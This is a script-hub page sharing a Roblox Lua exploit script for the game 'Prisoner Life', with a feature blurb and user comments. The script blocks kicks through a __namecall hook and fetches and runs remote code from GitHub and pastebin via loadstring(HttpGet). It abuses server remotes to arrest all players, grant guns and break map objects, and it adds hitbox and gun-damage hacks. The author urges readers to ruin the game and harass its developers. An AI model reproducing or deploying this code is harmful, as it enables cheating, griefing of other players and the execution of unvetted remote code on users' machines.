*per open source
Key Required

*per open source

(🔥) Prisoner LifeKosovoKosovo 25.2K views 149 executesUpdated Jun 2, 2024
0.0/ 5(1 votes)
010% Positive
Lua Script•630 lines (22846 chars)
--NOTE THE USER AND PASS USER IS 1, AND THE PASS IS 2
-- Farewell infortality 
-- Revamp by ImFrostic, Version 2.81 
 
 -- Objects

 local ScreenGui = Instance.new("ScreenGui")
 local opengui = Instance.new("Frame")
 local open = Instance.new("TextButton")
 local loginscreen = Instance.new("Frame")
 local Frame = Instance.new("Frame")
 local pass = Instance.new("TextBox")
 local user = Instance.new("TextBox")
 local enter = Instance.new("TextButton")
 local Frame_2 = Instance.new("Frame")
 local title = Instance.new("TextBox")
 local main = Instance.new("Frame")
 local Frame_3 = Instance.new("Frame")
 local Frame_4 = Instance.new("Frame")
 local money = Instance.new("TextButton")
 local hammer = Instance.new("TextButton")
 local blocks = Instance.new("TextButton")
 local shattervest = Instance.new("TextButton")
 local explode = Instance.new("TextButton")
 local TextBox = Instance.new("TextBox")
 local close = Instance.new("TextButton")
 
 -- Properties
 
 ScreenGui.Parent = game.CoreGui
 
 opengui.Name = "opengui"
 opengui.Parent = ScreenGui
 opengui.BackgroundColor3 = Color3.new(0, 0, 0)
 opengui.BackgroundTransparency = 0.89999997615814
 opengui.Position = UDim2.new(0, 0, 0.510357797, 0)
 opengui.Size = UDim2.new(0, 87, 0, 19)
 opengui.Visible = false
 
 open.Name = "open"
 open.Parent = opengui
 open.BackgroundColor3 = Color3.new(0, 0, 0)
 open.BackgroundTransparency = 0.5
 open.Size = UDim2.new(0, 87, 0, 19)
 open.Font = Enum.Font.SciFi
 open.Text = "Open"
 open.TextColor3 = Color3.new(1, 1, 1)
 open.TextSize = 14
 open.MouseButton1Down:connect(function()
 opengui.Visible = false
 main.Visible = true
 end)
 
 loginscreen.Name = "loginscreen"
 loginscreen.Parent = ScreenGui
 loginscreen.BackgroundColor3 = Color3.new(0, 0, 0)
 loginscreen.BackgroundTransparency = 0.5
 loginscreen.Position = UDim2.new(0.10367579, 0, 0.290018827, 0)
 loginscreen.Size = UDim2.new(0, 214, 0, 283)
 loginscreen.Visible = true
 loginscreen.Active = true
 loginscreen.Draggable = true
 
 Frame.Parent = loginscreen
 Frame.BackgroundColor3 = Color3.new(0, 0, 0)
 Frame.Position = UDim2.new(0, 0, 0.932862163, 0)
 Frame.Size = UDim2.new(0, 214, 0, 19)
 
 pass.Name = "pass"
 pass.Parent = loginscreen
 pass.BackgroundColor3 = Color3.new(0, 0, 0)
 pass.Position = UDim2.new(0.0327102803, 0, 0.466431081, 0)
 pass.Size = UDim2.new(0, 200, 0, 22)
 pass.Font = Enum.Font.SciFi
 pass.Text = "Password"
 pass.TextColor3 = Color3.new(1, 1, 1)
 pass.TextSize = 14
 
 user.Name = "user"
 user.Parent = loginscreen
 user.BackgroundColor3 = Color3.new(0, 0, 0)
 user.Position = UDim2.new(0.0327102803, 0, 0.197879851, 0)
 user.Size = UDim2.new(0, 200, 0, 22)
 user.Font = Enum.Font.SciFi
 user.Text = "Username"
 user.TextColor3 = Color3.new(1, 1, 1)
 user.TextSize = 14
 
 enter.Name = "enter"
 enter.Parent = loginscreen
 enter.BackgroundColor3 = Color3.new(0, 0, 0)
 enter.Position = UDim2.new(0.294392526, 0, 0.66077739, 0)
 enter.Size = UDim2.new(0, 88, 0, 38)
 enter.Font = Enum.Font.SciFi
 enter.Text = "Enter"
 enter.TextColor3 = Color3.new(1, 1, 1)
 enter.TextSize = 14
 enter.MouseButton1Down:connect(function()
 if user.Text == "1" and pass.Text == "2" then
 loginscreen.Visible = false
 opengui.Visible = true
 end
 wait(1)
local old
old = hookmetamethod(
    game,
    "__namecall",
    function(self, ...)
        local method = tostring(getnamecallmethod())
        if string.lower(method) == "kick" then
            return wait(9e9)
        end
        return old(self, ...)
    end
)
wait(2)
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
 end)
 
 Frame_2.Parent = loginscreen
 Frame_2.Active = true
 Frame_2.BackgroundColor3 = Color3.new(0, 0, 0)
 Frame_2.Selectable = true
 Frame_2.Size = UDim2.new(0, 214, 0, 19)
 
 title.Name = "title"
 title.Parent = Frame_2
 title.Active = false
 title.BackgroundColor3 = Color3.new(1, 1, 1)
 title.BackgroundTransparency = 1
 title.Position = UDim2.new(0.0327102803, 0, 0, 0)
 title.Size = UDim2.new(0, 200, 0, 16)
 title.ClearTextOnFocus = false
 title.Font = Enum.Font.SciFi
 title.Text = "Login"
 title.TextColor3 = Color3.new(1, 1, 1)
 title.TextScaled = true
 title.TextSize = 14
 title.TextWrapped = true
 
 main.Name = "main"
 main.Parent = ScreenGui
 main.BackgroundColor3 = Color3.new(0, 0, 0)
 main.BackgroundTransparency = 0.5
 main.Position = UDim2.new(0.156456202, 0, 0.248587579, 0)
 main.Size = UDim2.new(0, 337, 0, 296)
 main.Visible = false
 main.Active = true
 main.Draggable = true
 
 Frame_3.Parent = main
 Frame_3.Active = true
 Frame_3.BackgroundColor3 = Color3.new(0, 0, 0)
 Frame_3.Selectable = true
 Frame_3.Size = UDim2.new(0, 337, 0, 19)
 
 Frame_4.Parent = main
 Frame_4.BackgroundColor3 = Color3.new(0, 0, 0)
 Frame_4.Position = UDim2.new(0, 0, 0.932432413, 0)
 Frame_4.Size = UDim2.new(0, 337, 0, 19)
 
 money.Name = "money"
 money.Parent = main
 money.BackgroundColor3 = Color3.new(0, 0, 0)
 money.Position = UDim2.new(0.0534124635, 0, 0.111486487, 0)
 money.Size = UDim2.new(0, 133, 0, 35)
 money.Font = Enum.Font.SciFi
 money.Text = "FPS Boost"
 money.TextColor3 = Color3.new(1, 1, 1)
 money.TextSize = 14
 money.MouseButton1Down:connect(function()
    workspace.Prison.Inner_Prison_Trees:Destroy()
    wait()
    workspace.Prison.Prison_Trees:Destroy()
    wait()
    workspace.Prison_Outer_Map.Trees:Destroy()
    wait()
    if not _G.FullBrightExecuted then

        _G.FullBrightEnabled = false
    
        _G.NormalLightingSettings = {
            Brightness = game:GetService("Lighting").Brightness,
            ClockTime = game:GetService("Lighting").ClockTime,
            FogEnd = game:GetService("Lighting").FogEnd,
            GlobalShadows = game:GetService("Lighting").GlobalShadows,
            Ambient = game:GetService("Lighting").Ambient
        }
    
        game:GetService("Lighting"):GetPropertyChangedSignal("Brightness"):Connect(function()
            if game:GetService("Lighting").Brightness ~= 1 and game:GetService("Lighting").Brightness ~= _G.NormalLightingSettings.Brightness then
                _G.NormalLightingSettings.Brightness = game:GetService("Lighting").Brightness
                if not _G.FullBrightEnabled then
                    repeat
                        wait()
                    until _G.FullBrightEnabled
                end
                game:GetService("Lighting").Brightness = 1
            end
        end)
    
        game:GetService("Lighting"):GetPropertyChangedSignal("ClockTime"):Connect(function()
            if game:GetService("Lighting").ClockTime ~= 12 and game:GetService("Lighting").ClockTime ~= _G.NormalLightingSettings.ClockTime then
                _G.NormalLightingSettings.ClockTime = game:GetService("Lighting").ClockTime
                if not _G.FullBrightEnabled then
                    repeat
                        wait()
                    until _G.FullBrightEnabled
                end
                game:GetService("Lighting").ClockTime = 12
            end
        end)
    
        game:GetService("Lighting"):GetPropertyChangedSignal("FogEnd"):Connect(function()
            if game:GetService("Lighting").FogEnd ~= 786543 and game:GetService("Lighting").FogEnd ~= _G.NormalLightingSettings.FogEnd then
                _G.NormalLightingSettings.FogEnd = game:GetService("Lighting").FogEnd
                if not _G.FullBrightEnabled then
                    repeat
                        wait()
                    until _G.FullBrightEnabled
                end
                game:GetService("Lighting").FogEnd = 786543
            end
        end)
    
        game:GetService("Lighting"):GetPropertyChangedSignal("GlobalShadows"):Connect(function()
            if game:GetService("Lighting").GlobalShadows ~= false and game:GetService("Lighting").GlobalShadows ~= _G.NormalLightingSettings.GlobalShadows then
                _G.NormalLightingSettings.GlobalShadows = game:GetService("Lighting").GlobalShadows
                if not _G.FullBrightEnabled then
                    repeat
                        wait()
                    until _G.FullBrightEnabled
                end
                game:GetService("Lighting").GlobalShadows = false
            end
        end)
    
        game:GetService("Lighting"):GetPropertyChangedSignal("Ambient"):Connect(function()
            if game:GetService("Lighting").Ambient ~= Color3.fromRGB(178, 178, 178) and game:GetService("Lighting").Ambient ~= _G.NormalLightingSettings.Ambient then
                _G.NormalLightingSettings.Ambient = game:GetService("Lighting").Ambient
                if not _G.FullBrightEnabled then
                    repeat
                        wait()
                    until _G.FullBrightEnabled
                end
                game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178)
            end
        end)
    
        game:GetService("Lighting").FogEnd = 786543
        game:GetService("Lighting").GlobalShadows = false
        game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178)
    
        local LatestValue = true
        spawn(function()
            repeat
                wait()
            until _G.FullBrightEnabled
            while wait() do
                if _G.FullBrightEnabled ~= LatestValue then
                    if not _G.FullBrightEnabled then
                        game:GetService("Lighting").Brightness = _G.NormalLightingSettings.Brightness
                        game:GetService("Lighting").ClockTime = _G.NormalLightingSettings.ClockTime
                        game:GetService("Lighting").FogEnd = _G.NormalLightingSettings.FogEnd
                        game:GetService("Lighting").GlobalShadows = _G.NormalLightingSettings.GlobalShadows
                        game:GetService("Lighting").Ambient = _G.NormalLightingSettings.Ambient
                    else
                        game:GetService("Lighting").Brightness = 1
                        game:GetService("Lighting").ClockTime = 12
                        game:GetService("Lighting").FogEnd = 786543
                        game:GetService("Lighting").GlobalShadows = false
                        game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178)
                    end
                    LatestValue = not LatestValue
                end
            end
        end)
    end
    
    _G.FullBrightExecuted = true
    _G.FullBrightEnabled = not _G.FullBrightEnabled
end)
 
 hammer.Name = "hammer"
 hammer.Parent = main
 hammer.BackgroundColor3 = Color3.new(0, 0, 0)
 hammer.Position = UDim2.new(0.540059328, 0, 0.111486487, 0)
 hammer.Size = UDim2.new(0, 133, 0, 35)
 hammer.Font = Enum.Font.SciFi
 hammer.Text = "All guns"
 hammer.TextColor3 = Color3.new(1, 1, 1)
 hammer.TextSize = 14
 hammer.MouseButton1Down:connect(function()
local args = {
    [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("M4A1"):WaitForChild("Part")
}

workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
wait()
local args = {
    [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("M9"):WaitForChild("ITEMPICKUP")
}

workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
wait()
local args = {
    [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("Remington 870"):WaitForChild("ITEMPICKUP")
}

workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
wait()
local args = {
    [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("AK-47"):WaitForChild("ITEMPICKUP")
}

workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))

 end)
 
 blocks.Name = "blocks"
 blocks.Parent = main
 blocks.BackgroundColor3 = Color3.new(0, 0, 0)
 blocks.Position = UDim2.new(0.540059328, 0, 0.462837845, 0)
 blocks.Size = UDim2.new(0, 133, 0, 35)
 blocks.Font = Enum.Font.SciFi
 blocks.Text = "Hitboxs+Arrest"
 blocks.TextColor3 = Color3.new(1, 1, 1)
 blocks.TextSize = 14
 blocks.MouseButton1Down:connect(function()
    while true do
        wait(1)
        _G.HeadSize = 17
        _G.Disabled = true
    
        if _G.Disabled then
        for i,v in next, game:GetService('Players'):GetPlayers() do
        if v.Name ~= game:GetService('Players').LocalPlayer.Name then
        pcall(function()
        v.Character.HumanoidRootPart.Name = "xC6M3Vuz7QpsY5nv"
        v.Character.xC6M3Vuz7QpsY5nv.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize)
        v.Character.xC6M3Vuz7QpsY5nv.Transparency = 0.5
        v.Character.xC6M3Vuz7QpsY5nv.CanCollide = false
        end)
        end
        end
        end
        end
 end)
 
 shattervest.Name = "shattervest"
 shattervest.Parent = main
 shattervest.BackgroundColor3 = Color3.new(0, 0, 0)
 shattervest.Position = UDim2.new(0.0534124374, 0, 0.462837845, 0)
 shattervest.Size = UDim2.new(0, 133, 0, 35)
 shattervest.Font = Enum.Font.SciFi
 shattervest.Text = "Gun mods"
 shattervest.TextColor3 = Color3.new(1, 1, 1)
 shattervest.TextSize = 14
 shattervest.MouseButton1Down:connect(function()
    local gun = require(game.Players.LocalPlayer.Backpack["Remington 870"].GunStates)

    gun["AutoFire"] = true
    gun["Range"] = 9999999
    gun["FireRate"] = 0.01
    gun["ReloadTime"] = 2
    gun["Damage"] = 999999
    gun["MaxAmmo"] = 8
    wait()
    local gun = require(game.Players.LocalPlayer.Backpack["M9"].GunStates)

    gun["AutoFire"] = true
    gun["Range"] = 9999999
    gun["FireRate"] = 0.01
    gun["ReloadTime"] = 2
    gun["Damage"] = 9999999
    wait()
    local gun = require(game.Players.LocalPlayer.Backpack["M4A1"].GunStates)

    gun["AutoFire"] = true
    gun["Range"] = 9999
    gun["FireRate"] = 0.01
    gun["ReloadTime"] = 2
    gun["Damage"] = 999999
    wait()
    local gun = require(game.Players.LocalPlayer.Backpack["Taser"].GunStates)


gun["ReloadTime"] = 0


end)
 
 explode.Name = "explode"
 explode.Parent = main
 explode.BackgroundColor3 = Color3.new(0, 0, 0)
 explode.Position = UDim2.new(0.302670598, 0, 0.722972989, 0)
 explode.Size = UDim2.new(0, 133, 0, 35)
 explode.Font = Enum.Font.SciFi
 explode.Text = ">:) Menu"
 explode.TextColor3 = Color3.new(1, 1, 1)
 explode.TextSize = 14
 explode.MouseButton1Down:connect(function()
    local lib = loadstring(game:HttpGet("https://raw.githubusercontent.com/acsu123/HOHO_H/main/hoho_lib.lua", true))()
    local win = lib:Window("UWU",">:)",Color3.new(0.333333, 0.666667, 1))
    local tab = win:Tab("Main")
    local label = tab:Label("Label", properties) --properties: {["Visible"] = flase}
    label:NewLabel("Main", properties)
    tab:Line()
    tab:Button("Arrest all", function() 
        for i, v in pairs(game.Teams.Criminals:GetPlayers()) do
            if v.Name ~= game.Players.LocalPlayer.Name then
                local inp = 10
                repeat
                    wait()
                    inp = inp-1
                    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
                            game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
                until inp == 0
            end
        end
    end)
    
    tab:Line() 
    tab:Button("Open all doors", function()
        local function touch(x)
            x = x:FindFirstAncestorWhichIsA("Part")
    local root = game.Players.LocalPlayer.Character.HumanoidRootPart
            if x then
                if firetouchinterest then
                    task.spawn(function()
                        firetouchinterest(x, root, 1)
                        wait()
                        firetouchinterest(x, root, 0)
                    end)
                end
            end
        end
    
            for _, descendant in ipairs(workspace:GetDescendants()) do
                if descendant:IsA("TouchTransmitter") then
                    touch(descendant)
                end
            end
    end)
    
    tab:Line() 
    tab:Button("Prison Break", function() 
        while true do
        local function touch(x)
            x = x:FindFirstAncestorWhichIsA("Part")
    local root = game.Players.LocalPlayer.Character.HumanoidRootPart
            if x then
                if firetouchinterest then
                    task.spawn(function()
                        firetouchinterest(x, root, 1)
                        wait()
                        firetouchinterest(x, root, 0)
                    end)
                end
            end
        end
    
            for _, descendant in ipairs(workspace:GetDescendants()) do
                if descendant:IsA("TouchTransmitter") then
                    touch(descendant)
                end
            end
            wait(2.5)
        end
    end)
    tab:Button("No more dropped items", function() 
        while true do
        function getNil(name,class) for _,v in next, getnilinstances() do if v.ClassName==class and v.Name==name then return v;end end end
    
        local args = {
            [1] = getNil("ITEMPICKUP", "Part")
        }
        
        workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
        wait()
    end
    end)
    tab:Button("Break everything on the map", function() 
        while true do
        local args = {
            [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Prison Gate"):WaitForChild("Prison Gate")
        }
        
        workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
    wait()
    local args = {
        [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Car Spawner"):WaitForChild("Car Spawner")
    }
    
    workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
    wait()
    local args = {
        [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Car Spawner"):WaitForChild("Car Spawner")
    }
    
    workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args))
    wait()
    end
    end)
    tab:Button("No more criminals", function() 
        while true do
        for i, v in pairs(game.Teams.Criminals:GetPlayers()) do
            if v.Name ~= game.Players.LocalPlayer.Name then
                local inp = 10
                repeat
                    wait()
                    inp = inp-1
                    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
                            game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
                until inp == 0
            end
        end
        wait(1.6)
    end
    end)
    tab:Line() 
    tab:Button("Godmode", function()
        loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
        wait()
        loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))()
wait()

    end)
    local tab = win:Tab("Players")
    local txtbox = tab:Textbox("Kill Works 50% of the time","Full username",function(val)
    -- Settings
    local Settings = {
        Target = val -- Target Name (Not display name)
     }
     
     -- Objects
     local Players = game:GetService("Players")
     local RunService = game:GetService("RunService")
     
     local LocalPlayer = Players.LocalPlayer
     local Target = Players:FindFirstChild(Settings.Target)
     
     local BodyAngularVelocity = Instance.new("BodyAngularVelocity")
     BodyAngularVelocity.AngularVelocity = Vector3.new(10^6, 10^6, 10^6)
     BodyAngularVelocity.MaxTorque = Vector3.new(10^6, 10^6, 10^6)
     BodyAngularVelocity.P = 10^6
     
     -- Start
     if not Target then return end
     BodyAngularVelocity.Parent = LocalPlayer.Character.HumanoidRootPart
     
     while Target.Character.HumanoidRootPart and LocalPlayer.Character.HumanoidRootPart do
        RunService.RenderStepped:Wait()
        LocalPlayer.Character.HumanoidRootPart.CFrame = Target.Character.HumanoidRootPart.CFrame * LocalPlayer.Character.HumanoidRootPart.CFrame.Rotation
        LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new()
     end
        
     BodyAngularVelocity.Parent = nil
    end)
 end)
 
 TextBox.Parent = main
 TextBox.Active = false
 TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
 TextBox.BackgroundTransparency = 1
 TextBox.Position = UDim2.new(0.246290803, 0, 0.945945978, 0)
 TextBox.Size = UDim2.new(0, 170, 0, 11)
 TextBox.ClearTextOnFocus = false
 TextBox.Font = Enum.Font.SciFi
 TextBox.Text = "Prisoner Life crapper- Kosovo & Empty"
 TextBox.TextColor3 = Color3.new(1, 1, 1)
 TextBox.TextSize = 14
 
 close.Name = "close"
 close.Parent = main
 close.BackgroundColor3 = Color3.new(0, 0, 0)
 close.Position = UDim2.new(0.934718072, 0, -0.00337837846, 0)
 close.Size = UDim2.new(0, 22, 0, 20)
 close.Font = Enum.Font.SciFi
 close.Text = "X"
 close.TextColor3 = Color3.new(1, 1, 1)
 close.TextSize = 14
 close.MouseButton1Down:connect(function()
 main.Visible = false
 opengui.Visible = true
 end)

Features & Information

Some goofy ahh game with to many dam vulns so might as well ruin it for everyone this script has arrets all brek everything on the map gun mods ETC And this is my first ever open source script soo have fun! before this gets patched ik it doesnt have many players but its funny and fun a* so yeah thanks to me and empty we made this use this quickly and fastly and join there discord to harrass them abt the script and say the dev dm me lol also buit in with an anticheat bypass with iy so ye have fun lol

Community Comments (5)

male2019999male2019999Sep 6, 2025

Not work cuz error said find anti-kick pls fix it

iddkiddkOct 20, 2025

p*word?

iddkiddkOct 20, 2025

pass ord?

enadla2enadla2Mar 21, 2026

it is a scam bro

Y'all saying p*word the * just remove the p*word 🤔